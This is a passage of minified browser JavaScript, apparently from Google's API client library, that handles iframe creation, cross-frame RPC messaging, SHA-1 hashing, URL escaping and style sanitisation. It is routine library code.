try{b.Wo?b.Yq.call(b.context):wh(b,c,d)}catch(e){xh.call(null,e)}fh.put(b)},wh=function(a,b,c){2==b?a.Yq.call(a.context,c):a.On&&a.On.call(a.context,c)},uh=function(a,b){a.iu=!0;_.$g(function(){a.iu&&xh.call(null,b)})},xh=Og,oh=function(a){_.Ig.call(this,a)};_.z(oh,_.Ig);oh.prototype.name="cancel"; var lh=function(a,b,c){this.promise=a;this.resolve=b;this.reject=c}; _.Im=function(a){return new _.dh(a)}; _.Jm=_.Jm||{};_.Jm.oT=function(){var a=0,b=0;window.self.innerHeight?(a=window.self.innerWidth,b=window.self.innerHeight):window.document.documentElement&&window.document.documentElement.clientHeight?(a=window.document.documentElement.clientWidth,b=window.document.documentElement.clientHeight):window.document.body&&(a=window.document.body.clientWidth,b=window.document.body.clientHeight);return{width:a,height:b}}; _.Jm=_.Jm||{}; (function(){function a(a,c){window.getComputedStyle(a,"").getPropertyValue(c).match(/^([0-9]+)/);return(0,window.parseInt)(RegExp.$1,10)}_.Jm.Xc=function(){var b=_.Jm.oT().height,c=window.document.body,d=window.document.documentElement;if("CSS1Compat"===window.document.compatMode&&d.scrollHeight)return d.scrollHeight!==b?d.scrollHeight:d.offsetHeight;if(0<=window.navigator.userAgent.indexOf("AppleWebKit")){b=0;for(c=[window.document.body];0<c.length;){var e=c.shift();d=e.childNodes;if("undefined"!== typeof e.style){var f=e.style.overflowY;f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.overflowY:null);if("visible"!=f&&"inherit"!=f&&(f=e.style.height,f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.height:""),0<f.length&&"auto"!=f))continue}for(e=0;e<d.length;e++){f=d[e];if("undefined"!==typeof f.offsetTop&&"undefined"!==typeof f.offsetHeight){var h=f.offsetTop+f.offsetHeight+a(f,"margin-bottom");b=Math.max(b,h)}c.push(f)}}return b+a(window.document.body,"border-bottom")+ a(window.document.body,"margin-bottom")+a(window.document.body,"padding-bottom")}if(c&&d)return e=d.scrollHeight,f=d.offsetHeight,d.clientHeight!==f&&(e=c.scrollHeight,f=c.offsetHeight),e>b?e>f?e:f:e<f?e:f}})(); var fl;fl=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/u\/(\d)\//; _.gl=function(a){var b=_.H("googleapis.config/sessionIndex");"string"===typeof b&&254<b.length&&(b=null);null==b&&(b=window.__X_GOOG_AUTHUSER);"string"===typeof b&&254<b.length&&(b=null);if(null==b){var c=window.google;c&&(b=c.authuser)}"string"===typeof b&&254<b.length&&(b=null);null==b&&(a=a||window.location.href,b=_.Xd(a,"authuser")||null,null==b&&(b=(b=a.match(fl))?b[1]:null));if(null==b)return null;b=String(b);254<b.length&&(b=null);return b}; var ll=function(){this.wj=-1};_.ml=function(){this.wj=64;this.Fc=[];this.Rx=[];this.rP=[];this.zv=[];this.zv[0]=128;for(var a=1;a<this.wj;++a)this.zv[a]=0;this.Dw=this.An=0;this.reset()};_.z(_.ml,ll);_.ml.prototype.reset=function(){this.Fc[0]=1732584193;this.Fc[1]=4023233417;this.Fc[2]=2562383102;this.Fc[3]=271733878;this.Fc[4]=3285377520;this.Dw=this.An=0}; var nl=function(a,b,c){c||(c=0);var d=a.rP;if(_.u(b))for(var e=0;16>e;e++)d[e]=b.charCodeAt(c)<<24|b.charCodeAt(c+1)<<16|b.charCodeAt(c+2)<<8|b.charCodeAt(c+3),c+=4;else for(e=0;16>e;e++)d[e]=b[c]<<24|b[c+1]<<16|b[c+2]<<8|b[c+3],c+=4;for(e=16;80>e;e++){var f=d[e-3]^d[e-8]^d[e-14]^d[e-16];d[e]=(f<<1|f>>>31)&4294967295}b=a.Fc[0];c=a.Fc[1];var h=a.Fc[2],k=a.Fc[3],l=a.Fc[4];for(e=0;80>e;e++){if(40>e)if(20>e){f=k^c&(h^k);var n=1518500249}else f=c^h^k,n=1859775393;else 60>e?(f=c&h|k&(c|h),n=2400959708): (f=c^h^k,n=3395469782);f=(b<<5|b>>>27)+f+l+n+d[e]&4294967295;l=k;k=h;h=(c<<30|c>>>2)&4294967295;c=b;b=f}a.Fc[0]=a.Fc[0]+b&4294967295;a.Fc[1]=a.Fc[1]+c&4294967295;a.Fc[2]=a.Fc[2]+h&4294967295;a.Fc[3]=a.Fc[3]+k&4294967295;a.Fc[4]=a.Fc[4]+l&4294967295}; _.ml.prototype.update=function(a,b){if(null!=a){_.r(b)||(b=a.length);for(var c=b-this.wj,d=0,e=this.Rx,f=this.An;d<b;){if(0==f)for(;d<=c;)nl(this,a,d),d+=this.wj;if(_.u(a))for(;d<b;){if(e[f]=a.charCodeAt(d),++f,++d,f==this.wj){nl(this,e);f=0;break}}else for(;d<b;)if(e[f]=a[d],++f,++d,f==this.wj){nl(this,e);f=0;break}}this.An=f;this.Dw+=b}}; _.ml.prototype.digest=function(){var a=[],b=8*this.Dw;56>this.An?this.update(this.zv,56-this.An):this.update(this.zv,this.wj-(this.An-56));for(var c=this.wj-1;56<=c;c--)this.Rx[c]=b&255,b/=256;nl(this,this.Rx);for(c=b=0;5>c;c++)for(var d=24;0<=d;d-=8)a[b]=this.Fc[c]>>d&255,++b;return a}; _.ol=function(){this.jD=new _.ml};_.g=_.ol.prototype;_.g.reset=function(){this.jD.reset()};_.g.qM=function(a){this.jD.update(a)};_.g.pG=function(){return this.jD.digest()};_.g.HD=function(a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var b=[],c=0,d=a.length;c<d;++c)b.push(a.charCodeAt(c));this.qM(b)};_.g.Ig=function(){for(var a=this.pG(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}; var Lm,Km,Rm,Sm,Mm,Pm,Nm,Tm,Om;_.Qm=function(){if(Km){var a=new _.Nd.Uint32Array(1);Lm.getRandomValues(a);a=Number("0."+a[0])}else a=Mm,a+=(0,window.parseInt)(Nm.substr(0,20),16),Nm=Om(Nm),a/=Pm+Math.pow(16,20);return a};Lm=_.Nd.crypto;Km=!1;Rm=0;Sm=0;Mm=1;Pm=0;Nm="";Tm=function(a){a=a||_.Nd.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;Mm=Mm*b%Pm;0<Rm&&++Sm==Rm&&_.ae(_.Nd,"mousemove",Tm,"remove","de")};Om=function(a){var b=new _.ol;b.HD(a);return b.Ig()}; Km=!!Lm&&"function"==typeof Lm.getRandomValues;Km||(Pm=1E6*(window.screen.width*window.screen.width+window.screen.height),Nm=Om(_.Qd.cookie+"|"+_.Qd.location+"|"+(new Date).getTime()+"|"+Math.random()),Rm=_.H("random/maxObserveMousemove")||0,0!=Rm&&_.be(_.Nd,"mousemove",Tm)); var Vm,Zm,$m,an,bn,cn,dn,en,fn,gn,hn,jn,kn,on,qn,rn,sn,tn,un,vn;_.Um=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};_.Wm=function(a){return!!a&&"object"===typeof a&&_.Sd.test(a.push)};_.Xm=function(a){for(var b=0;b<this.length;b++)if(this[b]===a)return b;return-1};_.Ym=function(a,b){if(!a)throw Error(b||"");};Zm=/&/g;$m=/</g;an=/>/g;bn=/"/g;cn=/'/g;dn=function(a){return String(a).replace(Zm,"&").replace($m,"<").replace(an,">").replace(bn,""").replace(cn,"'")};en=/[\ud800-\udbff][\udc00-\udfff]|[^!-~]/g; fn=/%([a-f]|[0-9a-fA-F][a-f])/g;gn=/^(https?|ftp|file|chrome-extension):$/i; hn=function(a){a=String(a);a=a.replace(en,function(a){try{return(0,window.encodeURIComponent)(a)}catch(f){return(0,window.encodeURIComponent)(a.replace(/^[^%]+$/g,"\ufffd"))}}).replace(_.Zd,function(a){return a.replace(/%/g,"%25")}).replace(fn,function(a){return a.toUpperCase()});a=a.match(_.Yd)||[];var b=_.D(),c=function(a){return a.replace(/\\/g,"%5C").replace(/\^/g,"%5E").replace(/`/g,"%60").replace(/\{/g,"%7B").replace(/\|/g,"%7C").replace(/\}/g,"%7D")},d=!!(a[1]||"").match(gn);b.ep=c((a[1]|| "")+(a[2]||"")+(a[3]||(a[2]&&d?"/":"")));d=function(a){return c(a.replace(/\?/g,"%3F").replace(/#/g,"%23"))};b.query=a[5]?[d(a[5])]:[];b.rh=a[7]?[d(a[7])]:[];return b};jn=function(a){return a.ep+(0<a.query.length?"?"+a.query.join("&"):"")+(0<a.rh.length?"#"+a.rh.join("&"):"")};kn=function(a,b){var c=[];if(a)for(var d in a)if(_.Ud(a,d)&&null!=a[d]){var e=b?b(a[d]):a[d];c.push((0,window.encodeURIComponent)(d)+"="+(0,window.encodeURIComponent)(e))}return c}; _.ln=function(a,b,c,d){a=hn(a);a.query.push.apply(a.query,kn(b,d));a.rh.push.apply(a.rh,kn(c,d));return jn(a)}; _.mn=function(a,b){var c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));var d="";2E3<b.length&&(c=b,b=b.substr(0,2E3),b=b.replace(_.$d,""),d=c.substr(b.length));var e=a.createElement("div");a=a.createElement("a");c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));a.href=b;e.appendChild(a);e.innerHTML=e.innerHTML;b=String(e.firstChild.href);e.parentNode&&e.parentNode.removeChild(e);c=hn(b+d);b=c.ep;c.query.length&& (b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));return b};_.nn=/^https?:\/\/[^\/%\\?#\s]+\/[^\s]*$/i;on=function(a){for(;a.firstChild;)a.removeChild(a.firstChild)};_.pn=function(a,b){var c=_.Td(_.ce,"watt",_.D());_.Td(c,a,b)};qn=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/b\/(\d{10,21})\//; rn=function(a){var b=_.H("googleapis.config/sessionDelegate");"string"===typeof b&&21<b.length&&(b=null);null==b&&(b=(a=(a||window.location.href).match(qn))?a[1]:null);if(null==b)return null;b=String(b);21<b.length&&(b=null);return b};sn=function(){var a=_.ce.onl;if(!a){a=_.D();_.ce.onl=a;var b=_.D();a.e=function(a){var c=b[a];c&&(delete b[a],c())};a.a=function(a,d){b[a]=d};a.r=function(a){delete b[a]}}return a};tn=function(a,b){b=b.onload;return"function"===typeof b?(sn().a(a,b),b):null}; un=function(a){_.Ym(/^\w+$/.test(a),"Unsupported id - "+a);sn();return'onload="window.___jsl.onl.e("'+a+'")"'};vn=function(a){sn().r(a)}; var xn,yn,Cn;_.wn={allowtransparency:"true",frameborder:"0",hspace:"0",marginheight:"0",marginwidth:"0",scrolling:"no",style:"",tabindex:"0",vspace:"0",width:"100%"};xn={allowtransparency:!0,onload:!0};yn=0;_.zn=function(a,b){var c=0;do var d=b.id||["I",yn++,"_",(new Date).getTime()].join("");while(a.getElementById(d)&&5>++c);_.Ym(5>c,"Error creating iframe id");return d};_.An=function(a,b){return a?b+"/"+a:""}; _.Bn=function(a,b,c,d){var e={},f={};a.documentMode&&9>a.documentMode&&(e.hostiemode=a.documentMode);_.Vd(d.queryParams||{},e);_.Vd(d.fragmentParams||{},f);var h=d.pfname;var k=_.D();_.H("iframes/dropLegacyIdParam")||(k.id=c);k._gfid=c;k.parent=a.location.protocol+"//"+a.location.host;c=_.Xd(a.location.href,"parent");h=h||"";!h&&c&&(h=_.Xd(a.location.href,"_gfid","")||_.Xd(a.location.href,"id",""),h=_.An(h,_.Xd(a.location.href,"pfname","")));h||(c=_.cf(_.Xd(a.location.href,"jcp","")))&&"object"== typeof c&&(h=_.An(c.id,c.pfname));k.pfname=h;d.connectWithJsonParam&&(h={},h.jcp=_.df(k),k=h);h=_.Xd(b,"rpctoken")||e.rpctoken||f.rpctoken;h||(h=d.rpctoken||String(Math.round(1E8*_.Qm())),k.rpctoken=h);d.rpctoken=h;_.Vd(k,d.connectWithQueryParams?e:f);k=a.location.href;a=_.D();(h=_.Xd(k,"_bsh",_.ce.bsh))&&(a._bsh=h);(k=_.ce.dpo?_.ce.h:_.Xd(k,"jsh",_.ce.h))&&(a.jsh=k);d.hintInFragment?_.Vd(a,f):_.Vd(a,e);return _.ln(b,e,f,d.paramsSerializer)}; Cn=function(a){_.Ym(!a||_.nn.test(a),"Illegal url for new iframe - "+a)}; _.Dn=function(a,b,c,d,e){Cn(c.src);var f,h=tn(d,c),k=h?un(d):"";try{window.document.all&&(f=a.createElement('<iframe frameborder="'+dn(String(c.frameborder))+'" scrolling="'+dn(String(c.scrolling))+'" '+k+' name="'+dn(String(c.name))+'"/>'))}catch(n){}finally{f||(f=a.createElement("iframe"),h&&(f.onload=function(){f.onload=null;h.call(this)},vn(d)))}f.setAttribute("ng-non-bindable","");for(var l in c)a=c[l],"style"===l&&"object"===typeof a?_.Vd(a,f.style):xn[l]||f.setAttribute(l,String(a));(l=e&& e.beforeNode||null)||e&&e.dontclear||on(b);b.insertBefore(f,l);f=l?l.previousSibling:b.lastChild;c.allowtransparency&&(f.allowTransparency=!0);return f}; var En,Hn;En=/^:[\w]+$/;_.Fn=/:([a-zA-Z_]+):/g;_.Gn=function(){var a=_.gl()||"0",b=rn();var c=_.gl(void 0)||a;var d=rn(void 0),e="";c&&(e+="u/"+(0,window.encodeURIComponent)(String(c))+"/");d&&(e+="b/"+(0,window.encodeURIComponent)(String(d))+"/");c=e||null;(e=(d=!1===_.H("isLoggedIn"))?"_/im/":"")&&(c="");var f=_.H("iframes/:socialhost:"),h=_.H("iframes/:im_socialhost:");return Vm={socialhost:f,ctx_socialhost:d?h:f,session_index:a,session_delegate:b,session_prefix:c,im_prefix:e}}; Hn=function(a,b){return _.Gn()[b]||""};_.In=function(a){return _.mn(_.Qd,a.replace(_.Fn,Hn))};_.Jn=function(a){var b=a;En.test(a)&&(b=_.H("iframes/"+b.substring(1)+"/url"),_.Ym(!!b,"Unknown iframe url config for - "+a));return _.In(b)}; _.Kn=function(a,b,c){var d=c||{};c=d.attributes||{};_.Ym(!(d.allowPost||d.forcePost)||!c.onload,"onload is not supported by post iframe (allowPost or forcePost)");a=_.Jn(a);c=b.ownerDocument||_.Qd;var e=_.zn(c,d);a=_.Bn(c,a,e,d);var f=_.D();_.Vd(_.wn,f);_.Vd(d.attributes,f);f.name=f.id=e;f.src=a;d.eurl=a;var h=d||{},k=!!h.allowPost;if(h.forcePost||k&&2E3<a.length){h=hn(a);f.src="";f["data-postorigin"]=a;a=_.Dn(c,b,f,e);if(-1!=window.navigator.userAgent.indexOf("WebKit")){var l=a.contentWindow.document; l.open();f=l.createElement("div");k={};var n=e+"_inner";k.name=n;k.src="";k.style="display:none";_.Dn(c,f,k,n,d)}f=(d=h.query[0])?d.split("&"):[];d=[];for(k=0;k<f.length;k++)n=f[k].split("=",2),d.push([(0,window.decodeURIComponent)(n[0]),(0,window.decodeURIComponent)(n[1])]);h.query=[];f=jn(h);_.Ym(_.nn.test(f),"Invalid URL: "+f);h=c.createElement("form");h.action=f;h.method="POST";h.target=e;h.style.display="none";for(e=0;e<d.length;e++)f=c.createElement("input"),f.type="hidden",f.name=d[e][0],f.value= d[e][1],h.appendChild(f);b.appendChild(h);h.submit();h.parentNode.removeChild(h);l&&l.close();b=a}else b=_.Dn(c,b,f,e,d);return b}; _.Ln=function(a){this.R=a};_.g=_.Ln.prototype;_.g.value=function(){return this.R};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(9); var Mn=function(a){this.R=a};_.g=Mn.prototype;_.g.no=function(a){this.R.anchor=a;return this};_.g.vf=function(){return this.R.anchor};_.g.IC=function(a){this.R.anchorPosition=a;return this};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width}; _.Nn=function(a){this.R=a||{}};_.g=_.Nn.prototype;_.g.value=function(){return this.R};_.g.setUrl=function(a){this.R.url=a;return this};_.g.getUrl=function(){return this.R.url};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(8);_.g.Zi=function(a){this.R.id=a};_.g.ka=function(){return this.R.id};_.g.tk=_.ea(10);_.On=function(a,b){a.R.queryParams=b;return a};_.Pn=function(a,b){a.R.relayOpen=b;return a};_.Nn.prototype.oo=_.ea(11);_.Nn.prototype.getContext=function(){return this.R.context}; _.Nn.prototype.Qc=function(){return this.R.openerIframe};_.Qn=function(a){return new Mn(a.R)};_.Nn.prototype.hn=function(){this.R.attributes=this.R.attributes||{};return new _.Ln(this.R.attributes)};_.Rn=function(a){a.R.connectWithQueryParams=!0;return a}; var Sn,Yn,Zn,$n,go,fo;_.Ln.prototype.zl=_.rc(9,function(){return this.R.style});_.Nn.prototype.zl=_.rc(8,function(){return this.R.style});Sn=function(a,b){a.R.onload=b};_.Tn=function(a){a.R.closeClickDetection=!0};_.Un=function(a){return a.R.rpctoken};_.Vn=function(a,b){a.R.messageHandlers=b;return a};_.Wn=function(a,b){a.R.messageHandlersFilter=b;return a};_.Xn=function(a){a.R.waitForOnload=!0;return a};Yn=function(a){return(a=a.R.timeout)?a:null}; _.bo=function(a,b,c){if(a){_.Ym(_.Wm(a),"arrayForEach was called with a non array value");for(var d=0;d<a.length;d++)b.call(c,a[d],d)}};_.co=function(a,b,c){if(a)if(_.Wm(a))_.bo(a,b,c);else{_.Ym("object"===typeof a,"objectForEach was called with a non object value");c=c||a;for(var d in a)_.Ud(a,d)&&void 0!==a[d]&&b.call(c,a[d],d)}}; _.eo=function(a){return new _.dh(function(b,c){var d=a.length,e=[];if(d)for(var f=function(a,c){d--;e[a]=c;0==d&&b(e)},h=function(a){c(a)},k=0,l;k<a.length;k++)l=a[k],_.kh(l,_.Of(f,k),h);else b(e)})};go=function(a){this.resolve=this.reject=null;this.promise=_.Im((0,_.A)(function(a,c){this.resolve=a;this.reject=c},this));a&&(this.promise=fo(this.promise,a))};fo=function(a,b){return a.then(function(a){try{b(a)}catch(d){}return a})}; _.ho=function(a){this.R=a||{}};_.z(_.ho,_.Nn);_.io=function(a,b){a.R.frameName=b;return a};_.ho.prototype.Cd=function(){return this.R.frameName};_.jo=function(a,b){a.R.rpcAddr=b;return a};_.ho.prototype.xl=function(){return this.R.rpcAddr};_.ko=function(a,b){a.R.retAddr=b;return a};_.lo=function(a){return a.R.retAddr};_.ho.prototype.Nh=function(a){this.R.origin=a;return this};_.ho.prototype.Qa=function(){return this.R.origin};_.ho.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.mo=function(a){return a.R.setRpcReady}; _.ho.prototype.qo=function(a){this.R.context=a};var no=function(a,b){a.R._rpcReadyFn=b};_.ho.prototype.Ha=function(){return this.R.iframeEl}; var oo,so,ro;oo=/^[\w\.\-]*$/;_.po=function(a){return a.wd===a.getContext().wd};_.M=function(){return!0};_.qo=function(a){for(var b=_.D(),c=0;c<a.length;c++)b[a[c]]=!0;return function(a){return!!b[a.wd]}};so=function(a,b,c){return function(d){if(!b.Fb){_.Ym(this.origin===b.wd,"Wrong origin "+this.origin+" != "+b.wd);var e=this.callback;d=ro(a,d,b);!c&&0<d.length&&_.eo(d).then(e)}}};ro=function(a,b,c){a=Zn[a];if(!a)return[];for(var d=[],e=0;e<a.length;e++)d.push(_.hh(a[e].call(c,b,c)));return d}; _.to=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");$n[a]={map:b,filter:c}};_.uo=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");_.Td($n,a,{map:{},filter:_.po}).map[b]=c};_.vo=function(a,b){_.Td($n,"_default",{map:{},filter:_.M}).map[a]=b;_.co(_.ao.Ge,function(c){c.register(a,b,_.M)})};_.wo=function(){return _.ao}; _.yo=function(a){a=a||{};this.Fb=!1;this.bK=_.D();this.Ge=_.D();this.Ee=a._window||_.Nd;this.yd=this.Ee.location.href;this.cK=(this.OB=xo(this.yd,"parent"))?xo(this.yd,"pfname"):"";this.Aa=this.OB?xo(this.yd,"_gfid")||xo(this.yd,"id"):"";this.uf=_.An(this.Aa,this.cK);this.wd=_.Xj.Qa(this.yd);if(this.Aa){var b=new _.ho;_.jo(b,a._parentRpcAddr||"..");_.ko(b,a._parentRetAddr||this.Aa);b.Nh(_.Xj.Qa(this.OB||this.yd));_.io(b,this.cK);this.hb=this.uj(b.value())}else this.hb=null};_.g=_.yo.prototype; _.g.Dn=_.ea(3);_.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Ge.length;a++)this.Ge[a].Ca();this.Fb=!0}};_.g.Cd=function(){return this.uf};_.g.vb=function(){return this.Ee};_.g.mb=function(){return this.Ee.document};_.g.gw=_.ea(12);_.g.Ez=function(a){return this.bK[a]}; _.g.uj=function(a){_.Ym(!this.Fb,"Cannot attach iframe in disposed context");a=new _.ho(a);a.xl()||_.jo(a,a.ka());_.lo(a)||_.ko(a,"..");a.Qa()||a.Nh(_.Xj.Qa(a.getUrl()));a.Cd()||_.io(a,_.An(a.ka(),this.uf));var b=a.Cd();if(this.Ge[b])return this.Ge[b];var c=a.xl(),d=c;a.Qa()&&(d=c+"|"+a.Qa());var e=_.lo(a),f=_.Un(a);f||(f=(f=a.Ha())&&(f.getAttribute("data-postorigin")||f.src)||a.getUrl(),f=_.Xd(f,"rpctoken"));no(a,_.Hm(d,e,f,a.R._popupWindow));d=((window.gadgets||{}).rpc||{}).setAuthToken;f&&d&&d(c, f);var h=new _.zo(this,c,b,a),k=a.R.messageHandlersFilter;_.co(a.R.messageHandlers,function(a,b){h.register(b,a,k)});_.mo(a)&&h.$i();_.Ao(h,"_g_rpcReady");return h};_.g.vC=function(a){_.io(a,null);var b=a.ka();!b||oo.test(b)&&!this.vb().document.getElementById(b)||(_.ue("Ignoring requested iframe ID - "+b),a.Zi(null))};var xo=function(a,b){var c=_.Xd(a,b);c||(c=_.cf(_.Xd(a,"jcp",""))[b]);return c||""}; _.yo.prototype.Tg=function(a){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var b=new _.ho(a);Bo(this,b);var c=b.Cd();if(c&&this.Ge[c])return this.Ge[c];this.vC(b);c=b.getUrl();_.Ym(c,"No url for new iframe");var d=b.R.queryParams||{};d.usegapi="1";_.On(b,d);d=this.ZH&&this.ZH(c,b);d||(d=b.R.where,_.Ym(!!d,"No location for new iframe"),c=_.Kn(c,d,a),b.R.iframeEl=c,d=c.getAttribute("id"));_.jo(b,d).Zi(d);b.Nh(_.Xj.Qa(b.R.eurl||""));this.iJ&&this.iJ(b,b.Ha());c=this.uj(a);c.aD&&c.aD(c,a); (a=b.R.onCreate)&&a(c);b.R.disableRelayOpen||c.Yo("_open");return c}; var Co=function(a,b,c){var d=b.R.canvasUrl;if(!d)return c;_.Ym(!b.R.allowPost&&!b.R.forcePost,"Post is not supported when using canvas url");var e=b.getUrl();_.Ym(e&&_.Xj.Qa(e)===a.wd&&_.Xj.Qa(d)===a.wd,"Wrong origin for canvas or hidden url "+d);b.setUrl(d);_.Xn(b);b.R.canvasUrl=null;return function(a){var b=a.vb(),d=b.location.hash;d=_.Jn(e)+(/#/.test(e)?d.replace(/^#/,"&"):d);b.location.replace(d);c&&c(a)}},Eo=function(a,b,c){var d=b.R.relayOpen;if(d){var e=a.hb;d instanceof _.zo?(e=d,_.Pn(b,0)): 0<Number(d)&&_.Pn(b,Number(d)-1);if(e){_.Ym(!!e.VJ,"Relaying iframe open is disabled");if(d=b.zl())if(d=_.Do[d])b.qo(a),d(b.value()),b.qo(null);b.R.openerIframe=null;c.resolve(e.VJ(b));return!0}}return!1},Io=function(a,b,c){var d=b.zl();if(d)if(_.Ym(!!_.Fo,"Defer style is disabled, when requesting style "+d),_.Go[d])Bo(a,b);else return Ho(d,function(){_.Ym(!!_.Go[d],"Fail to load style - "+d);c.resolve(a.open(b.value()))}),!0;return!1}; _.yo.prototype.open=function(a,b){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var c=new _.ho(a);b=Co(this,c,b);var d=new go(b);(b=c.getUrl())&&c.setUrl(_.Jn(b));if(Eo(this,c,d)||Io(this,c,d)||Eo(this,c,d))return d.promise;if(null!=Yn(c)){var e=(0,window.setTimeout)(function(){h.Ha().src="about:blank";d.reject({timeout:"Exceeded time limit of :"+Yn(c)+"milliseconds"})},Yn(c)),f=d.resolve;d.resolve=function(a){(0,window.clearTimeout)(e);f(a)}}c.R.waitForOnload&&Sn(c.hn(),function(){d.resolve(h)}); var h=this.Tg(a);c.R.waitForOnload||d.resolve(h);return d.promise};_.yo.prototype.pH=_.ea(13);_.zo=function(a,b,c,d){this.Fb=!1;this.Od=a;this.Ti=b;this.uf=c;this.ya=d;this.eo=_.lo(this.ya);this.wd=this.ya.Qa();this.jV=this.ya.Ha();this.OL=this.ya.R.where;this.Un=[];this.Yo("_default");a=this.ya.R.apis||[];for(b=0;b<a.length;b++)this.Yo(a[b]);this.Od.Ge[c]=this};_.g=_.zo.prototype;_.g.Dn=_.ea(2); _.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Un.length;a++)this.unregister(this.Un[a]);delete _.ao.Ge[this.Cd()];this.Fb=!0}};_.g.getContext=function(){return this.Od};_.g.xl=function(){return this.Ti};_.g.Cd=function(){return this.uf};_.g.Ha=function(){return this.jV};_.g.$a=function(){return this.OL};_.g.Ze=function(a){this.OL=a};_.g.$i=function(){(0,this.ya.R._rpcReadyFn)()};_.g.pL=function(a,b){this.ya.value()[a]=b};_.g.Mz=function(a){return this.ya.value()[a]};_.g.Ob=function(){return this.ya.value()}; _.g.ka=function(){return this.ya.ka()};_.g.Qa=function(){return this.wd};_.g.register=function(a,b,c){_.Ym(!this.Fb,"Cannot register handler on disposed iframe "+a);_.Ym((c||_.po)(this),"Rejecting untrusted message "+a);c=this.uf+":"+this.Od.uf+":"+a;1==_.Td(Zn,c,[]).push(b)&&(this.Un.push(a),_.wm(c,so(c,this,"_g_wasClosed"===a)))}; _.g.unregister=function(a,b){var c=this.uf+":"+this.Od.uf+":"+a,d=Zn[c];d&&(b?(b=_.Xm.call(d,b),0<=b&&d.splice(b,1)):d.splice(0,d.length),0==d.length&&(b=_.Xm.call(this.Un,a),0<=b&&this.Un.splice(b,1),_.xm(c)))};_.g.YS=function(){return this.Un};_.g.Yo=function(a){this.Dx=this.Dx||[];if(!(0<=_.Xm.call(this.Dx,a))){this.Dx.push(a);a=$n[a]||{map:{}};for(var b in a.map)_.Ud(a.map,b)&&this.register(b,a.map[b],a.filter)}}; _.g.send=function(a,b,c,d){_.Ym(!this.Fb,"Cannot send message to disposed iframe - "+a);_.Ym((d||_.po)(this),"Wrong target for message "+a);c=new go(c);_.Am(this.Ti,this.Od.uf+":"+this.uf+":"+a,c.resolve,b);return c.promise};_.Ao=function(a,b,c,d){return a.send(b,c,d,_.M)};_.zo.prototype.tX=function(a){return a};_.zo.prototype.ping=function(a,b){return _.Ao(this,"_g_ping",b,a)};Zn=_.D();$n=_.D();_.ao=new _.yo;_.vo("_g_rpcReady",_.zo.prototype.$i);_.vo("_g_discover",_.zo.prototype.YS); _.vo("_g_ping",_.zo.prototype.tX); var Ho,Bo;_.Go=_.D();_.Do=_.D();_.Fo=function(a){return _.Go[a]};Ho=function(a,b){_.Wd.load("gapi.iframes.style."+a,b)};Bo=function(a,b){var c=b.zl();if(c){b.Jd(null);var d=_.Go[c];_.Ym(d,"No such style: "+c);b.qo(a);d(b.value());b.qo(null)}};var Jo,Ko;Jo={height:!0,width:!0};Ko=/^(?!-*(?:expression|(?:moz-)?binding))(?:[.#]?-?(?:[_a-z0-9-]+)(?:-[_a-z0-9-]+)*-?|-?(?:[0-9]+(?:\.[0-9]*)?|\.[0-9]+)(?:[a-z]{1,2}|%)?|!important|)$/i;_.Lo=function(a){"number"===typeof a&&(a=String(a)+"px");return a};_.zo.prototype.vb=function(){if(!_.po(this))return null;var a=this.ya.R._popupWindow;if(a)return a;var b=this.Ti.split("/");a=this.getContext().vb();for(var c=0;c<b.length&&a;c++){var d=b[c];a=".."===d?a==a.parent?a.opener:a.parent:a.frames[d]}return a}; var Mo=function(a,b){var c=a.hb,d=!0;b.filter&&(d=b.filter.call(b.yf,b.params));return _.hh(d).then(function(d){return d&&c?(b.aK&&b.aK.call(a,b.params),d=b.sender?b.sender(b.params):_.Ao(c,b.message,b.params),b.S_?d.then(function(){return!0}):!0):!1})}; _.yo.prototype.dy=function(a,b,c){a=Mo(this,{sender:function(a){var b=_.ao.hb;_.co(_.ao.Ge,function(c){c!==b&&_.Ao(c,"_g_wasClosed",a)});return _.Ao(b,"_g_closeMe",a)},message:"_g_closeMe",params:a,yf:c,filter:this.Ez("onCloseSelfFilter")});b=new go(b);b.resolve(a);return b.promise};_.yo.prototype.sC=function(a,b,c){a=a||{};b=new go(b);b.resolve(Mo(this,{message:"_g_restyleMe",params:a,yf:c,filter:this.Ez("onRestyleSelfFilter"),S_:!0,aK:this.pM}));return b.promise}; _.yo.prototype.pM=function(a){"auto"===a.height&&(a.height=_.Jm.Xc())};_.No=function(a){var b={};if(a)for(var c in a)_.Ud(a,c)&&_.Ud(Jo,c)&&Ko.test(a[c])&&(b[c]=a[c]);return b};_.g=_.zo.prototype;_.g.close=function(a,b){return _.Ao(this,"_g_close",a,b)};_.g.tr=function(a,b){return _.Ao(this,"_g_restyle",a,b)};_.g.bo=function(a,b){return _.Ao(this,"_g_restyleDone",a,b)};_.g.rQ=function(a){return this.getContext().dy(a,void 0,this)}; _.g.tY=function(a){if(a&&"object"===typeof a)return this.getContext().sC(a,void 